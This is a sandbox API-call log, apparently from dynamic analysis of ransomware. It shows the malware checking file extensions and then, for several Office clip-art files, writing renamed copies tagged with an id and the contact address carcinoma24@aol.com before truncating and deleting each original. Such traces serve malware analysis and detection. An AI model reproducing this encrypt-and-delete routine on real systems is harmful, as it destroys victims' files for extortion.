[0265.872] lstrlenW (lpString=".ppt") returned 4 [0265.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.872] lstrlenW (lpString=".zip") returned 4 [0265.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.872] lstrlenW (lpString=".rar") returned 4 [0265.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.872] lstrlenW (lpString=".bz2") returned 4 [0265.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.872] lstrlenW (lpString=".7z") returned 3 [0265.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.872] lstrlenW (lpString=".dbf") returned 4 [0265.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.873] lstrlenW (lpString=".1cd") returned 4 [0265.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.873] lstrlenW (lpString=".jpg") returned 4 [0265.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.873] lstrlenW (lpString=".doc") returned 4 [0265.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.873] lstrlenW (lpString=".docx") returned 5 [0265.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.873] lstrlenW (lpString=".pdf") returned 4 [0265.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.873] lstrlenW (lpString=".xls") returned 4 [0265.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.873] lstrlenW (lpString=".xlsx") returned 5 [0265.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.873] lstrlenW (lpString=".ppt") returned 4 [0265.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.873] lstrlenW (lpString=".zip") returned 4 [0265.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.873] lstrlenW (lpString=".rar") returned 4 [0265.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.873] lstrlenW (lpString=".bz2") returned 4 [0265.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.873] lstrlenW (lpString=".7z") returned 3 [0265.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.874] lstrlenW (lpString=".dbf") returned 4 [0265.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.874] lstrlenW (lpString=".1cd") returned 4 [0265.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.874] lstrlenW (lpString=".jpg") returned 4 [0265.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.874] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.874] lstrlenW (lpString="BL00194_.WMF") returned 12 [0265.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0265.875] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3986) returned 1 [0265.875] CloseHandle (hObject=0x550) returned 1 [0265.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0265.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0265.875] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.875] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0265.876] GetLastError () returned 0x0 [0265.876] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xf92, lpOverlapped=0x0) returned 1 [0266.464] WriteFile (in: hFile=0x528, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfa0, lpOverlapped=0x0) returned 1 [0266.465] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0266.466] WriteFile (in: hFile=0x528, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0266.466] SetEndOfFile (hFile=0x528) returned 1 [0266.466] CloseHandle (hObject=0x528) returned 1 [0267.063] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.063] SetEndOfFile (hFile=0x550) returned 1 [0267.372] CloseHandle (hObject=0x550) returned 1 [0267.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0267.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0267.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.374] lstrlenW (lpString=".doc") returned 4 [0267.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.374] lstrlenW (lpString=".docx") returned 5 [0267.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.374] lstrlenW (lpString=".pdf") returned 4 [0267.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.374] lstrlenW (lpString=".xls") returned 4 [0267.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.374] lstrlenW (lpString=".xlsx") returned 5 [0267.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.374] lstrlenW (lpString=".ppt") returned 4 [0267.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.374] lstrlenW (lpString=".zip") returned 4 [0267.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.374] lstrlenW (lpString=".rar") returned 4 [0267.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.375] lstrlenW (lpString=".bz2") returned 4 [0267.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.375] lstrlenW (lpString=".7z") returned 3 [0267.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.375] lstrlenW (lpString=".dbf") returned 4 [0267.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.375] lstrlenW (lpString=".1cd") returned 4 [0267.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.375] lstrlenW (lpString=".jpg") returned 4 [0267.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.375] lstrlenW (lpString=".doc") returned 4 [0267.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.375] lstrlenW (lpString=".docx") returned 5 [0267.375] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.375] lstrlenW (lpString=".pdf") returned 4 [0267.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.375] lstrlenW (lpString=".xls") returned 4 [0267.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.375] lstrlenW (lpString=".xlsx") returned 5 [0267.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.376] lstrlenW (lpString=".ppt") returned 4 [0267.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.376] lstrlenW (lpString=".zip") returned 4 [0267.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.376] lstrlenW (lpString=".rar") returned 4 [0267.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.376] lstrlenW (lpString=".bz2") returned 4 [0267.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.376] lstrlenW (lpString=".7z") returned 3 [0267.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.376] lstrlenW (lpString=".dbf") returned 4 [0267.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.376] lstrlenW (lpString=".1cd") returned 4 [0267.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0267.376] lstrlenW (lpString=".jpg") returned 4 [0267.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.376] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0267.377] lstrlenW (lpString="BL00392_.WMF") returned 12 [0267.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0267.378] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=27050) returned 1 [0267.378] CloseHandle (hObject=0x550) returned 1 [0267.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0267.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0267.379] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.379] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0267.380] GetLastError () returned 0x0 [0267.380] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x69aa, lpOverlapped=0x0) returned 1 [0267.386] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x69b0, lpOverlapped=0x0) returned 1 [0267.387] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0267.387] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0267.387] SetEndOfFile (hFile=0x53c) returned 1 [0267.388] CloseHandle (hObject=0x53c) returned 1 [0267.389] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.389] SetEndOfFile (hFile=0x550) returned 1 [0267.394] CloseHandle (hObject=0x550) returned 1 [0267.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0267.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0267.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.401] lstrlenW (lpString=".doc") returned 4 [0267.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.401] lstrlenW (lpString=".docx") returned 5 [0267.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.401] lstrlenW (lpString=".pdf") returned 4 [0267.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.401] lstrlenW (lpString=".xls") returned 4 [0267.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.401] lstrlenW (lpString=".xlsx") returned 5 [0267.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.401] lstrlenW (lpString=".ppt") returned 4 [0267.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.401] lstrlenW (lpString=".zip") returned 4 [0267.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.401] lstrlenW (lpString=".rar") returned 4 [0267.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.401] lstrlenW (lpString=".bz2") returned 4 [0267.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.401] lstrlenW (lpString=".7z") returned 3 [0267.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.402] lstrlenW (lpString=".dbf") returned 4 [0267.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.402] lstrlenW (lpString=".1cd") returned 4 [0267.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.402] lstrlenW (lpString=".jpg") returned 4 [0267.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.402] lstrlenW (lpString=".doc") returned 4 [0267.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.402] lstrlenW (lpString=".docx") returned 5 [0267.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.402] lstrlenW (lpString=".pdf") returned 4 [0267.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.402] lstrlenW (lpString=".xls") returned 4 [0267.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.402] lstrlenW (lpString=".xlsx") returned 5 [0267.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.402] lstrlenW (lpString=".ppt") returned 4 [0267.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.402] lstrlenW (lpString=".zip") returned 4 [0267.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.403] lstrlenW (lpString=".rar") returned 4 [0267.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.403] lstrlenW (lpString=".bz2") returned 4 [0267.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.403] lstrlenW (lpString=".7z") returned 3 [0267.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.403] lstrlenW (lpString=".dbf") returned 4 [0267.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.403] lstrlenW (lpString=".1cd") returned 4 [0267.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0267.403] lstrlenW (lpString=".jpg") returned 4 [0267.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.403] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0267.403] lstrlenW (lpString="BL00524_.WMF") returned 12 [0267.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0267.404] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6996) returned 1 [0267.404] CloseHandle (hObject=0x550) returned 1 [0267.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0267.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0267.405] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.405] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0267.406] GetLastError () returned 0x0 [0267.406] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1b54, lpOverlapped=0x0) returned 1 [0267.567] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1b60, lpOverlapped=0x0) returned 1 [0267.830] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0267.830] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0267.830] SetEndOfFile (hFile=0x53c) returned 1 [0267.831] CloseHandle (hObject=0x53c) returned 1 [0267.866] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.866] SetEndOfFile (hFile=0x550) returned 1 [0267.871] CloseHandle (hObject=0x550) returned 1 [0267.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0267.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0267.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.873] lstrlenW (lpString=".doc") returned 4 [0267.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.873] lstrlenW (lpString=".docx") returned 5 [0267.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.873] lstrlenW (lpString=".pdf") returned 4 [0267.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.873] lstrlenW (lpString=".xls") returned 4 [0267.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.873] lstrlenW (lpString=".xlsx") returned 5 [0267.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.873] lstrlenW (lpString=".ppt") returned 4 [0267.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0267.873] lstrlenW (lpString=".zip") returned 4 [0267.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.873] lstrlenW (lpString=".rar") returned 4 